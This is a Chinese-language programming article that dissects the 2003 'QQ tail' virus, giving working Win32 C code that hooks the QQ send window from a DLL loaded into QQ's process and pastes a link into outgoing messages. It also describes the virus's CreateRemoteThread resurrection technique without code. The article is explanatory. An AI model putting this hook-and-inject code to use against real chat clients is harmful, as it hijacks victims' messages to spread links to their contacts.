2003這一年里，QQ尾巴病毒可以算是風光了一陣子。它利用IE的郵件頭漏洞在QQ上瘋狂傳播。中毒者在給別人發(fā)信息時，病毒會自動在信息文本的后邊添上一句話，話的內(nèi)容多種多樣，總之就是希望信息的接收者點擊這句話中的URL，成為下一個中毒者?！?nbsp;

　　下面我將要討論的，就是QQ尾巴病毒使用的這一技術(shù)。由于病毒的源代碼無法獲得，所以以下的代碼全是我主觀臆斷所得，所幸的是效果基本與病毒本身一致?！?nbsp;
粘貼尾巴　 

　　首先的一個最簡單的問題是如何添加文本。這一技術(shù)毫無秘密可言，就是通過剪貼板向QQ消息的那個RichEdit“貼”上一句話而已。代碼如下：　 
TCHAR g_str[] = "歡迎來我的小站坐坐：http://titilima.nease.net";　 
// 函數(shù)功能：向文本框中粘貼尾巴　 
void PasteText(HWND hRich)　 
{　 
  HGLOBAL hMem;　 
  LPTSTR pStr;　 
  // 分配內(nèi)存空間　 
  hMem = GlobalAlloc(GHND | GMEM_SHARE, sizeof(g_str));　 
  pStr = GlobalLock(hMem);　 
  lstrcpy(pStr, g_str);　 
  GlobalUnlock(hMem);　 
  OpenClipboard(NULL);　 
  EmptyClipboard();　 
  // 設置剪貼板文本　 
  SetClipboardData(CF_TEXT, hMem);　 
  CloseClipboard();　 
  // 釋放內(nèi)存空間　 
  GlobalFree(hMem);　 
  // 粘貼文本　 
  SendMessage(hRich, WM_PASTE, 0, 0);　 
}　 

鉤子　 

　　好了，那么下面的問題是，這段文本應該在什么時候貼呢？網(wǎng)上有一些研究QQ尾巴實現(xiàn)的文章指出，可以用計時器來控制粘貼的時間，類似這個樣子：　 
void CQQTailDlg::OnTimer(UINT nIDEvent)　 
{　 
  PasteText(hRich);　 
}　 
　　這的確是一種解決的手段，然而它也存在著極大的局限性——計時器的間隔如何設置？也許中毒者正在打字，尾巴文本“唰”的出現(xiàn)了……　 
　　然而病毒本身卻不是這樣子，它能夠準確地在你單擊“發(fā)送”或按下Ctrl+Enter鍵的時候?qū)⑽谋菊迟N上。2003年1月份我的一臺P2曾經(jīng)中過毒，由于系統(tǒng)速度較慢，所以可以很清楚地看見文本粘貼的時機?！?nbsp;
　　講到這里，我所陳述的這些事實一定會讓身為讀者的你說：鉤子！——對，就是鉤子，下面我所說的正是用鉤子來真實地再現(xiàn)“QQ尾巴病毒”的這一技術(shù)?！?nbsp;
　　首先我對鉤子做一個簡要的介紹，已經(jīng)熟悉鉤子的朋友們可以跳過這一段。所謂Win32鉤子（hook）并不是鐵鉤船長那只人工再現(xiàn)的手臂，而是一段子程序，它可以用來監(jiān)視、檢測系統(tǒng)中的特定消息，并完成一些特定的功能。打個比方來說，你的程序是皇帝，Windows系統(tǒng)充當各省的巡撫；至于鉤子，則可以算是皇上的一個欽差。譬如皇帝下旨在全國收稅，然后派了一個欽差找到山西巡撫說：“皇上有旨，山西除正常賦稅外，加收杏花村酒十壇。”（-_-#……）正如皇帝可以用這種方法來特殊對待特定的巡撫一樣，程序員也可以用鉤子來捕獲處理Windows系統(tǒng)中 特定的消息?！?nbsp;
　　問題具體到了“QQ尾巴病毒”上邊，就是我們需要一個鉤子，在用戶單擊了“發(fā)送”按鈕之后，粘貼我們的文本。我所實現(xiàn)的這段鉤子過程為（至于如何掛接這個鉤子，我會在稍后說明）：　 
// 鉤子過程，監(jiān)視“發(fā)送”的命令消息　 
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)　 
{　 
  CWPSTRUCT *p = (CWPSTRUCT *)lParam;　 
  // 捕獲“發(fā)送”按鈕　 
  if (p->message == WM_COMMAND && LOWORD(p->wParam) == 1)　 
　 PasteText(g_hRich);　 
  return CallNextHookEx(g_hProc, nCode, wParam, lParam);　 
}　 
　　在此我對這個回調(diào)過程說明幾點：　 
　　1、lParam是一個指向CWPSTRUCT結(jié)構(gòu)的指針，這個結(jié)構(gòu)的描述如下：　 
typedef struct {　 
  LPARAM lParam;　 
  WPARAM wParam;　 
  UINT message;　 
  HWND hwnd;　 
} CWPSTRUCT, *PCWPSTRUCT;　 
　　這時候像我一樣的SDK fans也許會會心一笑：這不是窗口回調(diào)的那四個鐵桿參數(shù)么？如你所說，的確是這樣，你甚至可以使用switch (p->message) { /* ... */ }這樣的代碼寫成的鉤子函數(shù)來全面接管QQ窗口?！?nbsp;
　　2、g_hRich是一個全局變量，它保存的是QQ消息文本框的句柄。這里之所以采用全局變量，是因為我無法從鍵盤鉤子回調(diào)函數(shù)的參數(shù)中獲得這個句柄。至于如何獲得這個句柄以及這個全局變量的特殊位置，我會在稍后說明。　 
　　3、CallNextHookEx是調(diào)用鉤子鏈中的下一個處理過程，換了欽差就會說：“十壇杏花村酒本欽差已經(jīng)替皇上收下了，現(xiàn)在請巡撫大人把貴省正常的賦稅交上來吧。”（-_-#……）這是書寫鉤子函數(shù)中很重要的一個環(huán)節(jié)，如果少了這一句，那么可能會導致系統(tǒng)的鉤子鏈出現(xiàn)錯誤，某些程序也會沒有響應——事實上我在編寫這個仿真程序的時候QQ就當?shù)袅藥谆?。?nbsp;
　　4、你也許會問為什么我捕獲的是WM_COMMAND消息，這個原因讓我來用下面的SDK代碼（雖然QQ是用MFC寫的，但是用SDK代碼才能說明WM_COMMAND和“發(fā)送”按鈕的關(guān)系）來說明：　 
#define IDC_BTN_SENDMSG 1 // “發(fā)送”按鈕ID的宏定義　 
// QQ發(fā)送消息對話框回調(diào)過程·李馬偽造版　 
LRESULT CALLBACK ProcSendDlg(HWND hDlg, UINT Msg, WPARAM wParam, LPARAM lParam)　 
{　 
  switch (Msg)　 
  {　 
  case WM_CLOSE:　 
　 EndDialog(hDlg, 0);　 
　 break;　 
  case WM_COMMAND:　 
　 {　 
　　 switch (LOWORD(wParam))　 
　　 {　 
　　 case IDC_BTN_SENDMSG:　 
　　　 // 發(fā)送消息...　 
　　　 break;　 
　　 // 其它的命令按鈕處理部分...　 
　 }　 
  }　 
  break;　 
  // 其它的case部分...　 
  }　 
  return 0;　 
}　 
　　消息發(fā)送的整個過程是：當用戶單擊了“發(fā)送”按鈕后，這個按鈕的父窗口（也就是“發(fā)送消息”的對話框）會收到一條WM_COMMAND的通知消息，其中wParam的低位字（即LOWORD(wParam)）為這個按鈕的ID，然后再調(diào)用代碼中發(fā)送的部分，這個過程如下圖：　 

　　所以，在此我捕獲WM_COMMAND消息要比捕獲其它消息或掛接鼠標鉤子要有效得多。　 
　　好了，現(xiàn)在這個鉤子已經(jīng)可以勝利地完成任務了。但是請不要忘記：有更多的用戶更偏愛于用“Ctrl+Enter”熱鍵來發(fā)送消息，所以程序中還需要掛上一個鍵盤鉤子：　 
// 鍵盤鉤子過程，監(jiān)視“發(fā)送”的熱鍵消息　 
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)　 
{　 
  // 捕獲熱鍵消息　 
  if (wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) < 0 && lParam >= 0)　 
　 PasteText(g_hRich);　 
  return CallNextHookEx(g_hKey, nCode, wParam, lParam);　 
}　 
　　在這里唯一要解釋的一點就是lParam >= 0子句。很明顯這個if判斷是在判斷熱鍵Ctrl+Enter的輸入，那么lParam >= 0又是什么呢？事實上在鍵盤鉤子的回調(diào)之中，lParam是一個很重要的參數(shù)，它包含了擊鍵的重復次數(shù)、掃描碼、擴展鍵標志等等的信息。其中l(wèi)Param的最高位（0x80000000）則表示了當前這個鍵是否被按下，如果這個位正在被按下，這個位就是0，反之為1。所以lParam >= 0的意思就是在WM_KEYDOWN的時候調(diào)用PasteText，也就是說，如果去掉這個條件，PasteText將會被調(diào)用兩次（連同WM_KEYUP的一次）?！?nbsp;

掛接鉤子和查找窗口　 

　　接下來就是如何掛接這兩個鉤子了。對于掛接鉤子，要解決的問題是：往哪里掛接鉤子，以及如何掛接？　 
　　掛接鉤子的目標，肯定是QQ“發(fā)送信息”窗口的所屬線程。我的代碼就是將這個窗口的句柄傳入之后來進行鉤子的掛接：　 
// 掛接鉤子　 
BOOL WINAPI SetHook(HWND hQQ)　 
{　 
  BOOL bRet = FALSE;　 
  if (hQQ != NULL)　 
  {　 
　 DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL);　 
　 // 感謝好友hottey的查找代碼，省去了我使用Spy++的麻煩　 
　 g_hRich = GetWindow(GetDlgItem(hQQ, 0), GW_CHILD);　 
　 if (g_hRich == NULL)　 
　　 return FALSE;　 
　 // 掛接鉤子　 
　 g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);　 
　 g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);　 
　 bRet = (g_hProc != NULL) && (g_hKey != NULL);　 
  }　 
  else　 
  {　 
　 // 卸載鉤子　 
　 bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);　 
　 g_hProc = NULL;　 
　 g_hKey = NULL;　 
　 g_hRich = NULL;　 
  }　 
  return bRet;　 
}　 
　　到此為止，以上所有的代碼都位于一個Hook.dll的動態(tài)鏈接庫之中，關(guān)于DLL我就不多介紹了，請查閱MSDN上的相關(guān)資料和本文的配套源代碼?！?nbsp;
　　DLL之中已經(jīng)做好了所有重要的工作（事實上這部分工作也只能由DLL來完成，這是由Windows虛擬內(nèi)存機制決定的），我們只需要在EXE之中調(diào)用導出的SetHook函數(shù)就可以了。那么，SetHook的參數(shù)如何獲得呢？請看以下代碼：　 
// 感謝好友hottey的查找代碼，省去了我使用Spy++的麻煩　 
HWND hSend;　 
g_hQQ = NULL;　 
SetHook(NULL);　 
do　 
{　 
  g_hQQ = FindWindowEx(NULL, g_hQQ, "#32770", NULL);　 
  hSend = FindWindowEx(g_hQQ, NULL, "Button", "發(fā)送(&S)");　 
} while(g_hQQ != NULL && hSend == NULL);　 
if (g_hQQ != NULL)　 
  SetHook(g_hQQ);　 
　　這段代碼中的do-while循環(huán)就是用來查找“發(fā)送消息”的窗口的，QQ窗口的保密性越來越強了，窗口一層套一層，找起來十分不便，所以在此感謝好友hottey的《QQ消息炸.彈隨想》一文省去了我反復使用Spy++的麻煩。我所做的，只是把他文中的Delphi代碼翻譯成了C代碼?！?nbsp;

DLL的共享數(shù)據(jù)段　 

　　如果你對DLL不甚了解，那么在你讀到我的配套源代碼之后，肯定會對下面這一段代碼有些疑問：　 
// 定義共享數(shù)據(jù)段　 
#pragma data_seg("shared")　 
HHOOK g_hProc = NULL; // 窗口過程鉤子句柄　 
HHOOK g_hKey = NULL; // 鍵盤鉤子句柄　 
HWND g_hRich = NULL; // 文本框句柄　 
#pragma data_seg()　 
#pragma comment(linker, "/section:shared,rws")　 
　　這定義了一段共享的數(shù)據(jù)段，是的，因為我的注釋已經(jīng)寫得很清楚了，那么共享數(shù)據(jù)段起到了什么作用呢？在回答這個問題之前，我請你把代碼中以#開頭的預處理指令注釋掉然后重新編譯這個DLL并運行，你會發(fā)現(xiàn)什么？　 
　　是的，添加尾巴失敗！　 
　　好了，我來解釋一下這個問題。我們的這個仿真程序的EXE、DLL以及QQ的主程序事實上是下面這樣一種關(guān)系：　 

　　這個DLL需要將一個實例映射到EXE的地址空間之中以供其調(diào)用，還需要將另一個實例映射到QQ的地址空間之中來完成掛接鉤子的工作。也就是說，當鉤子掛接完畢之后，整個系統(tǒng)的模塊中，有兩個DLL實例的存在！此DLL非彼DLL也，所以它們之間是沒有任何聯(lián)系的。拿全局變量g_hRich來說，圖中左邊的DLL通過EXE的傳入獲得了文本框的句柄，然而如果沒有共享段的話，那么右邊的DLL中，g_hRich仍然是NULL。共享段于此的意義也就體現(xiàn)出來了，就是為了保證EXE、DLL、QQ三者之間的聯(lián)系。這一點，和C++中static的成員變量有些相似。　 
　　在鉤子掛接成功之后，你可以通過一些有模塊查看功能的進程管理器看一看，就會發(fā)現(xiàn)Hook.dll也位于QQ.exe的模塊之中。　 

最后一些要說的　 

　　1、我是前說過，在2003年的1月份我就碰到了這種病毒，至今我還很清楚地記得那個病毒EXE只有16KB大小，所以從病毒本身存在的性質(zhì)來說，這個東西應該是用Win32ASM來寫會更實用一些。　 
　　2、那個病毒我曾經(jīng)是手殺的——用了一個進程查看工具就殺掉了。但是現(xiàn)在的“QQ尾巴”增加了復活功能——在EXE被殺掉后，DLL會將其喚醒。我曾經(jīng)用我的進程查看工具分析過，發(fā)現(xiàn)系統(tǒng)中幾乎所有的進程都被病毒的DLL掛住了。這一技術(shù)是利用CreateRemoteThread在所有的進程上各插入了一個額外的復活線程，真可謂是一石二鳥——保證EXE永遠運行，同時這個正在使用中的DLL是無法被刪除的。這一技術(shù)我也已經(jīng)實現(xiàn)了，但是穩(wěn)定性方面遠不及病毒本身做得優(yōu)秀，故在此也就不將其寫出了，有興趣的朋友可以參考Jeffrey Richter《Windows核心編程》的相關(guān)章節(jié)。　 
　　3、走筆至此想起了侯捷老師《STL源碼剖析》中的一句話——“源碼之前，了無秘密。”如果你看完本文之后也有這樣的感覺，那么我將感到不勝榮幸。 

最新評論